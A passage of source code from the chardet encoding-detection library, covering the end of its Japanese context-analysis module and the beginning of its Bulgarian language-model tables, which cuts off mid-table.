(0,5,0,5,0,3,0,2,0,4,4,3,5,2,4,3,3,3,4,4,4,3,5,3,5,3,3,1,4,0,4,3,3,0,3,3,0,4,4,4,4,5,4,3,3,5,5,3,2,3,1,2,3,2,0,1,0,0,3,2,2,4,4,3,1,5,0,4,0,3,0,4,3,1,3,2,1,0,3,3,0,3,3), (0,4,0,5,0,5,0,4,0,4,5,5,5,3,4,3,3,2,5,4,4,3,5,3,5,3,4,0,4,3,4,4,3,2,4,4,3,4,5,4,4,5,5,0,3,5,5,4,1,3,3,2,3,3,1,3,1,0,4,3,1,4,4,3,4,5,0,4,0,2,0,4,3,4,4,3,3,0,4,0,0,5,5), (0,4,0,4,0,5,0,1,1,3,3,4,4,3,4,1,3,0,5,1,3,0,3,1,3,1,1,0,3,0,3,3,4,0,4,3,0,4,4,4,3,4,4,0,3,5,4,1,0,3,0,0,2,3,0,3,1,0,3,1,0,3,2,1,3,5,0,3,0,1,0,3,2,3,3,4,4,0,2,2,0,4,4), (2,4,0,5,0,4,0,3,0,4,5,5,4,3,5,3,5,3,5,3,5,2,5,3,4,3,3,4,3,4,5,3,2,1,5,4,3,2,3,4,5,3,4,1,2,5,4,3,0,3,3,0,3,2,0,2,3,0,4,1,0,3,4,3,3,5,0,3,0,1,0,4,5,5,5,4,3,0,4,2,0,3,5), (0,5,0,4,0,4,0,2,0,5,4,3,4,3,4,3,3,3,4,3,4,2,5,3,5,3,4,1,4,3,4,4,4,0,3,5,0,4,4,4,4,5,3,1,3,4,5,3,3,3,3,3,3,3,0,2,2,0,3,3,2,4,3,3,3,5,3,4,1,3,3,5,3,2,0,0,0,0,4,3,1,3,3), (0,1,0,3,0,3,0,1,0,1,3,3,3,2,3,3,3,0,3,0,0,0,3,1,3,0,0,0,2,2,2,3,0,0,3,2,0,1,2,4,1,3,3,0,0,3,3,3,0,1,0,0,2,1,0,0,3,0,3,1,0,3,0,0,1,3,0,2,0,1,0,3,3,1,3,3,0,0,1,1,0,3,3), (0,2,0,3,0,2,1,4,0,2,2,3,1,1,3,1,1,0,2,0,3,1,2,3,1,3,0,0,1,0,4,3,2,3,3,3,1,4,2,3,3,3,3,1,0,3,1,4,0,1,1,0,1,2,0,1,1,0,1,1,0,3,1,3,2,2,0,1,0,0,0,2,3,3,3,1,0,0,0,0,0,2,3), (0,5,0,4,0,5,0,2,0,4,5,5,3,3,4,3,3,1,5,4,4,2,4,4,4,3,4,2,4,3,5,5,4,3,3,4,3,3,5,5,4,5,5,1,3,4,5,3,1,4,3,1,3,3,0,3,3,1,4,3,1,4,5,3,3,5,0,4,0,3,0,5,3,3,1,4,3,0,4,0,1,5,3), (0,5,0,5,0,4,0,2,0,4,4,3,4,3,3,3,3,3,5,4,4,4,4,4,4,5,3,3,5,2,4,4,4,3,4,4,3,3,4,4,5,5,3,3,4,3,4,3,3,4,3,3,3,3,1,2,2,1,4,3,3,5,4,4,3,4,0,4,0,3,0,4,4,4,4,4,1,0,4,2,0,2,4), (0,4,0,4,0,3,0,1,0,3,5,2,3,0,3,0,2,1,4,2,3,3,4,1,4,3,3,2,4,1,3,3,3,0,3,3,0,0,3,3,3,5,3,3,3,3,3,2,0,2,0,0,2,0,0,2,0,0,1,0,0,3,1,2,2,3,0,3,0,2,0,4,4,3,3,4,1,0,3,0,0,2,4), (0,0,0,4,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,1,0,2,0,1,0,0,0,0,0,3,1,3,0,3,2,0,0,0,1,0,3,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,4,0,2,0,0,0,0,0,0,2), (0,2,1,3,0,2,0,2,0,3,3,3,3,1,3,1,3,3,3,3,3,3,4,2,2,1,2,1,4,0,4,3,1,3,3,3,2,4,3,5,4,3,3,3,3,3,3,3,0,1,3,0,2,0,0,1,0,0,1,0,0,4,2,0,2,3,0,3,3,0,3,3,4,2,3,1,4,0,1,2,0,2,3), (0,3,0,3,0,1,0,3,0,2,3,3,3,0,3,1,2,0,3,3,2,3,3,2,3,2,3,1,3,0,4,3,2,0,3,3,1,4,3,3,2,3,4,3,1,3,3,1,1,0,1,1,0,1,0,1,0,1,0,0,0,4,1,1,0,3,0,3,1,0,2,3,3,3,3,3,1,0,0,2,0,3,3), (0,0,0,0,0,0,0,0,0,0,3,0,2,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,3,0,3,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,2,0,2,3,0,0,0,0,0,0,0,0,3), (0,2,0,3,1,3,0,3,0,2,3,3,3,1,3,1,3,1,3,1,3,3,3,1,3,0,2,3,1,1,4,3,3,2,3,3,1,2,2,4,1,3,3,0,1,4,2,3,0,1,3,0,3,0,0,1,3,0,2,0,0,3,3,2,1,3,0,3,0,2,0,3,4,4,4,3,1,0,3,0,0,3,3), (0,2,0,1,0,2,0,0,0,1,3,2,2,1,3,0,1,1,3,0,3,2,3,1,2,0,2,0,1,1,3,3,3,0,3,3,1,1,2,3,2,3,3,1,2,3,2,0,0,1,0,0,0,0,0,0,3,0,1,0,0,2,1,2,1,3,0,3,0,0,0,3,4,4,4,3,2,0,2,0,0,2,4), (0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,3,1,0,0,0,0,0,0,0,3), (0,3,0,3,0,2,0,3,0,3,3,3,2,3,2,2,2,0,3,1,3,3,3,2,3,3,0,0,3,0,3,2,2,0,2,3,1,4,3,4,3,3,2,3,1,5,4,4,0,3,1,2,1,3,0,3,1,1,2,0,2,3,1,3,1,3,0,3,0,1,0,3,3,4,4,2,1,0,2,1,0,2,4), (0,1,0,3,0,1,0,2,0,1,4,2,5,1,4,0,2,0,2,1,3,1,4,0,2,1,0,0,2,1,4,1,1,0,3,3,0,5,1,3,2,3,3,1,0,3,2,3,0,1,0,0,0,0,0,0,1,0,0,0,0,4,0,1,0,3,0,2,0,1,0,3,3,3,4,3,3,0,0,0,0,2,3), (0,0,0,1,0,0,0,0,0,0,2,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,0,1,0,0,0,0,0,3), (0,1,0,3,0,4,0,3,0,2,4,3,1,0,3,2,2,1,3,1,2,2,3,1,1,1,2,1,3,0,1,2,0,1,3,2,1,3,0,5,5,1,0,0,1,3,2,1,0,3,0,0,1,0,0,0,0,0,3,4,0,1,1,1,3,2,0,2,0,1,0,2,3,3,1,2,3,0,1,0,1,0,4), (0,0,0,1,0,3,0,3,0,2,2,1,0,0,4,0,3,0,3,1,3,0,3,0,3,0,1,0,3,0,3,1,3,0,3,3,0,0,1,2,1,1,1,0,1,2,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,2,2,1,2,0,0,2,0,0,0,0,2,3,3,3,3,0,0,0,0,1,4), (0,0,0,3,0,3,0,0,0,0,3,1,1,0,3,0,1,0,2,0,1,0,0,0,0,0,0,0,1,0,3,0,2,0,2,3,0,0,2,2,3,1,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,2,3), (2,4,0,5,0,5,0,4,0,3,4,3,3,3,4,3,3,3,4,3,4,4,5,4,5,5,5,2,3,0,5,5,4,1,5,4,3,1,5,4,3,4,4,3,3,4,3,3,0,3,2,0,2,3,0,3,0,0,3,3,0,5,3,2,3,3,0,3,0,3,0,3,4,5,4,5,3,0,4,3,0,3,4), (0,3,0,3,0,3,0,3,0,3,3,4,3,2,3,2,3,0,4,3,3,3,3,3,3,3,3,0,3,2,4,3,3,1,3,4,3,4,4,4,3,4,4,3,2,4,4,1,0,2,0,0,1,1,0,2,0,0,3,1,0,5,3,2,1,3,0,3,0,1,2,4,3,2,4,3,3,0,3,2,0,4,4), (0,3,0,3,0,1,0,0,0,1,4,3,3,2,3,1,3,1,4,2,3,2,4,2,3,4,3,0,2,2,3,3,3,0,3,3,3,0,3,4,1,3,3,0,3,4,3,3,0,1,1,0,1,0,0,0,4,0,3,0,0,3,1,2,1,3,0,4,0,1,0,4,3,3,4,3,3,0,2,0,0,3,3), (0,3,0,4,0,1,0,3,0,3,4,3,3,0,3,3,3,1,3,1,3,3,4,3,3,3,0,0,3,1,5,3,3,1,3,3,2,5,4,3,3,4,5,3,2,5,3,4,0,1,0,0,0,0,0,2,0,0,1,1,0,4,2,2,1,3,0,3,0,2,0,4,4,3,5,3,2,0,1,1,0,3,4), (0,5,0,4,0,5,0,2,0,4,4,3,3,2,3,3,3,1,4,3,4,1,5,3,4,3,4,0,4,2,4,3,4,1,5,4,0,4,4,4,4,5,4,1,3,5,4,2,1,4,1,1,3,2,0,3,1,0,3,2,1,4,3,3,3,4,0,4,0,3,0,4,4,4,3,3,3,0,4,2,0,3,4), (1,4,0,4,0,3,0,1,0,3,3,3,1,1,3,3,2,2,3,3,1,0,3,2,2,1,2,0,3,1,2,1,2,0,3,2,0,2,2,3,3,4,3,0,3,3,1,2,0,1,1,3,1,2,0,0,3,0,1,1,0,3,2,2,3,3,0,3,0,0,0,2,3,3,4,3,3,0,1,0,0,1,4), (0,4,0,4,0,4,0,0,0,3,4,4,3,1,4,2,3,2,3,3,3,1,4,3,4,0,3,0,4,2,3,3,2,2,5,4,2,1,3,4,3,4,3,1,3,3,4,2,0,2,1,0,3,3,0,0,2,0,3,1,0,4,4,3,4,3,0,4,0,1,0,2,4,4,4,4,4,0,3,2,0,3,3), (0,0,0,1,0,4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,3,2,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2), (0,2,0,3,0,4,0,4,0,1,3,3,3,0,4,0,2,1,2,1,1,1,2,0,3,1,1,0,1,0,3,1,0,0,3,3,2,0,1,1,0,0,0,0,0,1,0,2,0,2,2,0,3,1,0,0,1,0,1,1,0,1,2,0,3,0,0,0,0,1,0,0,3,3,4,3,1,0,1,0,3,0,2), (0,0,0,3,0,5,0,0,0,0,1,0,2,0,3,1,0,1,3,0,0,0,2,0,0,0,1,0,0,0,1,1,0,0,4,0,0,0,2,3,0,1,4,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,1,0,0,0,0,0,0,0,2,0,0,3,0,0,0,0,0,3), (0,2,0,5,0,5,0,1,0,2,4,3,3,2,5,1,3,2,3,3,3,0,4,1,2,0,3,0,4,0,2,2,1,1,5,3,0,0,1,4,2,3,2,0,3,3,3,2,0,2,4,1,1,2,0,1,1,0,3,1,0,1,3,1,2,3,0,2,0,0,0,1,3,5,4,4,4,0,3,0,0,1,3), (0,4,0,5,0,4,0,4,0,4,5,4,3,3,4,3,3,3,4,3,4,4,5,3,4,5,4,2,4,2,3,4,3,1,4,4,1,3,5,4,4,5,5,4,4,5,5,5,2,3,3,1,4,3,1,3,3,0,3,3,1,4,3,4,4,4,0,3,0,4,0,3,3,4,4,5,0,0,4,3,0,4,5), (0,4,0,4,0,3,0,3,0,3,4,4,4,3,3,2,4,3,4,3,4,3,5,3,4,3,2,1,4,2,4,4,3,1,3,4,2,4,5,5,3,4,5,4,1,5,4,3,0,3,2,2,3,2,1,3,1,0,3,3,3,5,3,3,3,5,4,4,2,3,3,4,3,3,3,2,1,0,3,2,1,4,3), (0,4,0,5,0,4,0,3,0,3,5,5,3,2,4,3,4,0,5,4,4,1,4,4,4,3,3,3,4,3,5,5,2,3,3,4,1,2,5,5,3,5,5,2,3,5,5,4,0,3,2,0,3,3,1,1,5,1,4,1,0,4,3,2,3,5,0,4,0,3,0,5,4,3,4,3,0,0,4,1,0,4,4), (1,3,0,4,0,2,0,2,0,2,5,5,3,3,3,3,3,0,4,2,3,4,4,4,3,4,0,0,3,4,5,4,3,3,3,3,2,5,5,4,5,5,5,4,3,5,5,5,1,3,1,0,1,0,0,3,2,0,4,2,0,5,2,3,2,4,1,3,0,3,0,4,5,4,5,4,3,0,4,2,0,5,4), (0,3,0,4,0,5,0,3,0,3,4,4,3,2,3,2,3,3,3,3,3,2,4,3,3,2,2,0,3,3,3,3,3,1,3,3,3,0,4,4,3,4,4,1,1,4,4,2,0,3,1,0,1,1,0,4,1,0,2,3,1,3,3,1,3,4,0,3,0,1,0,3,1,3,0,0,1,0,2,0,0,4,4), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), (0,3,0,3,0,2,0,3,0,1,5,4,3,3,3,1,4,2,1,2,3,4,4,2,4,4,5,0,3,1,4,3,4,0,4,3,3,3,2,3,2,5,3,4,3,2,2,3,0,0,3,0,2,1,0,1,2,0,0,0,0,2,1,1,3,1,0,2,0,4,0,3,4,4,4,5,2,0,2,0,0,1,3), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,4,2,1,1,0,1,0,3,2,0,0,3,1,1,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,1,0,0,0,2,0,0,0,1,4,0,4,2,1,0,0,0,0,0,1), (0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,3,1,0,0,0,2,0,2,1,0,0,1,2,1,0,1,1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,1,3,1,0,0,0,0,0,1,0,0,2,1,0,0,0,0,0,0,0,0,2), (0,4,0,4,0,4,0,3,0,4,4,3,4,2,4,3,2,0,4,4,4,3,5,3,5,3,3,2,4,2,4,3,4,3,1,4,0,2,3,4,4,4,3,3,3,4,4,4,3,4,1,3,4,3,2,1,2,1,3,3,3,4,4,3,3,5,0,4,0,3,0,4,3,3,3,2,1,0,3,0,0,3,3), (0,4,0,3,0,3,0,3,0,3,5,5,3,3,3,3,4,3,4,3,3,3,4,4,4,3,3,3,3,4,3,5,3,3,1,3,2,4,5,5,5,5,4,3,4,5,5,3,2,2,3,3,3,3,2,3,3,1,2,3,2,4,3,3,3,4,0,4,0,2,0,4,3,2,2,1,2,0,3,0,0,4,1), ) class JapaneseContextAnalysis(object): NUM_OF_CATEGORY = 6 DONT_KNOW = -1 ENOUGH_REL_THRESHOLD = 100 MAX_REL_THRESHOLD = 1000 MINIMUM_DATA_THRESHOLD = 4 def __init__(self): self._total_rel = None self._rel_sample = None self._need_to_skip_char_num = None self._last_char_order = None self._done = None self.reset() def reset(self): self._total_rel = 0 # total sequence received # category counters, each integer counts sequence in its category self._rel_sample = [0] * self.NUM_OF_CATEGORY # if last byte in current buffer is not the last byte of a character, # we need to know how many bytes to skip in next buffer self._need_to_skip_char_num = 0 self._last_char_order = -1 # The order of previous char # If this flag is set to True, detection is done and conclusion has # been made self._done = False def feed(self, byte_str, num_bytes): if self._done: return # The buffer we got is byte oriented, and a character may span in more than one # buffers. In case the last one or two byte in last buffer is not # complete, we record how many byte needed to complete that character # and skip these bytes here. We can choose to record those bytes as # well and analyse the character once it is complete, but since a # character will not make much difference, by simply skipping # this character will simply our logic and improve performance. i = self._need_to_skip_char_num while i < num_bytes: order, char_len = self.get_order(byte_str[i:i + 2]) i += char_len if i > num_bytes: self._need_to_skip_char_num = i - num_bytes self._last_char_order = -1 else: if (order != -1) and (self._last_char_order != -1): self._total_rel += 1 if self._total_rel > self.MAX_REL_THRESHOLD: self._done = True break self._rel_sample[jp2CharContext[self._last_char_order][order]] += 1 self._last_char_order = order def got_enough_data(self): return self._total_rel > self.ENOUGH_REL_THRESHOLD def get_confidence(self): # This is just one way to calculate confidence. It works well for me. if self._total_rel > self.MINIMUM_DATA_THRESHOLD: return (self._total_rel - self._rel_sample[0]) / self._total_rel else: return self.DONT_KNOW def get_order(self, byte_str): return -1, 1 class SJISContextAnalysis(JapaneseContextAnalysis): def __init__(self): super(SJISContextAnalysis, self).__init__() self._charset_name = "SHIFT_JIS" @property def charset_name(self): return self._charset_name def get_order(self, byte_str): if not byte_str: return -1, 1 # find out current char's byte length first_char = byte_str[0] if (0x81 <= first_char <= 0x9F) or (0xE0 <= first_char <= 0xFC): char_len = 2 if (first_char == 0x87) or (0xFA <= first_char <= 0xFC): self._charset_name = "CP932" else: char_len = 1 # return its order if it is hiragana if len(byte_str) > 1: second_char = byte_str[1] if (first_char == 202) and (0x9F <= second_char <= 0xF1): return second_char - 0x9F, char_len return -1, char_len class EUCJPContextAnalysis(JapaneseContextAnalysis): def get_order(self, byte_str): if not byte_str: return -1, 1 # find out current char's byte length first_char = byte_str[0] if (first_char == 0x8E) or (0xA1 <= first_char <= 0xFE): char_len = 2 elif first_char == 0x8F: char_len = 3 else: char_len = 1 # return its order if it is hiragana if len(byte_str) > 1: second_char = byte_str[1] if (first_char == 0xA4) and (0xA1 <= second_char <= 0xF3): return second_char - 0xA1, char_len return -1, char_len ================================================ FILE: thirdparty/chardet/langbulgarianmodel.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: # this table is modified base on win1251BulgarianCharToOrderMap, so # only number <64 is sure valid Latin5_BulgarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, # 40 110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, # 50 253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, # 60 116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, # 70 194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209, # 80 210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225, # 90 81,226,227,228,229,230,105,231,232,233,234,235,236, 45,237,238, # a0 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, # b0 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,239, 67,240, 60, 56, # c0 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, # d0 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,241, 42, 16, # e0 62,242,243,244, 58,245, 98,246,247,248,249,250,251, 91,252,253, # f0 ) win1251BulgarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, # 40 110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, # 50 253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, # 60 116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, # 70 206,207,208,209,210,211,212,213,120,214,215,216,217,218,219,220, # 80 221, 78, 64, 83,121, 98,117,105,222,223,224,225,226,227,228,229, # 90 88,230,231,232,233,122, 89,106,234,235,236,237,238, 45,239,240, # a0 73, 80,118,114,241,242,243,244,245, 62, 58,246,247,248,249,250, # b0 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, # c0 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,251, 67,252, 60, 56, # d0 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, # e0 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,253, 42, 16, # f0 ) # Model Table: # total sequences: 100% # first 512 sequences: 96.9392% # first 1024 sequences:3.0618% # rest sequences: 0.2992% # negative sequences: 0.0020% BulgarianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,3,3,3,3,3, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,2,2,1,2,2, 3,1,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,0,1, 0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,3,3,0,3,1,0, 0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,2,3,2,2,1,3,3,3,3,2,2,2,1,1,2,0,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,2,3,2,2,3,3,1,1,2,3,3,2,3,3,3,3,2,1,2,0,2,0,3,0,0, 0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,1,3,3,3,3,3,2,3,2,3,3,3,3,3,2,3,3,1,3,0,3,0,2,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,1,3,3,2,3,3,3,1,3,3,2,3,2,2,2,0,0,2,0,2,0,2,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,3,3,1,2,2,3,2,1,1,2,0,2,0,0,0,0, 1,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,2,3,3,1,2,3,2,2,2,3,3,3,3,3,2,2,3,1,2,0,2,1,2,0,0, 0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,1,3,3,3,3,3,2,3,3,3,2,3,3,2,3,2,2,2,3,1,2,0,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,3,3,3,1,1,1,2,2,1,3,1,3,2,2,3,0,0,1,0,1,0,1,0,0, 0,0,0,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,2,2,3,2,2,3,1,2,1,1,1,2,3,1,3,1,2,2,0,1,1,1,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,1,3,2,2,3,3,1,2,3,1,1,3,3,3,3,1,2,2,1,1,1,0,2,0,2,0,1, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,2,2,3,3,3,2,2,1,1,2,0,2,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,0,1,2,1,3,3,2,3,3,3,3,3,2,3,2,1,0,3,1,2,1,2,1,2,3,2,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,1,2,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,1,3,3,2,3,3,2,2,2,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,0,3,3,3,3,3,2,1,1,2,1,3,3,0,3,1,1,1,1,3,2,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,1,1,3,1,3,3,2,3,2,2,2,3,0,2,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,2,3,3,2,2,3,2,1,1,1,1,1,3,1,3,1,1,0,0,0,1,0,0,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,2,3,2,0,3,2,0,3,0,2,0,0,2,1,3,1,0,0,1,0,0,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,2,1,1,1,1,2,1,1,2,1,1,1,2,2,1,2,1,1,1,0,1,1,0,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,2,1,3,1,1,2,1,3,2,1,1,0,1,2,3,2,1,1,1,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,2,2,1,0,1,0,0,1,0,0,0,2,1,0,3,0,0,1,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,2,3,2,3,3,1,3,2,1,1,1,2,1,1,2,1,3,0,1,0,0,0,1,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,2,2,3,3,2,3,2,2,2,3,1,2,2,1,1,2,1,1,2,2,0,1,1,0,1,0,2,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,1,3,1,0,2,2,1,3,2,1,0,0,2,0,2,0,1,0,0,0,0,0,0,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,1,2,0,2,3,1,2,3,2,0,1,3,1,2,1,1,1,0,0,1,0,0,2,2,2,3, 2,2,2,2,1,2,1,1,2,2,1,1,2,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1, 3,3,3,3,3,2,1,2,2,1,2,0,2,0,1,0,1,2,1,2,1,1,0,0,0,1,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,2,3,3,1,1,3,1,0,3,2,1,0,0,0,1,2,0,2,0,1,0,0,0,1,0,1,2,1,2,2, 1,1,1,1,1,1,1,2,2,2,1,1,1,1,1,1,1,0,1,2,1,1,1,0,0,0,0,0,1,1,0,0, 3,1,0,1,0,2,3,2,2,2,3,2,2,2,2,2,1,0,2,1,2,1,1,1,0,1,2,1,2,2,2,1, 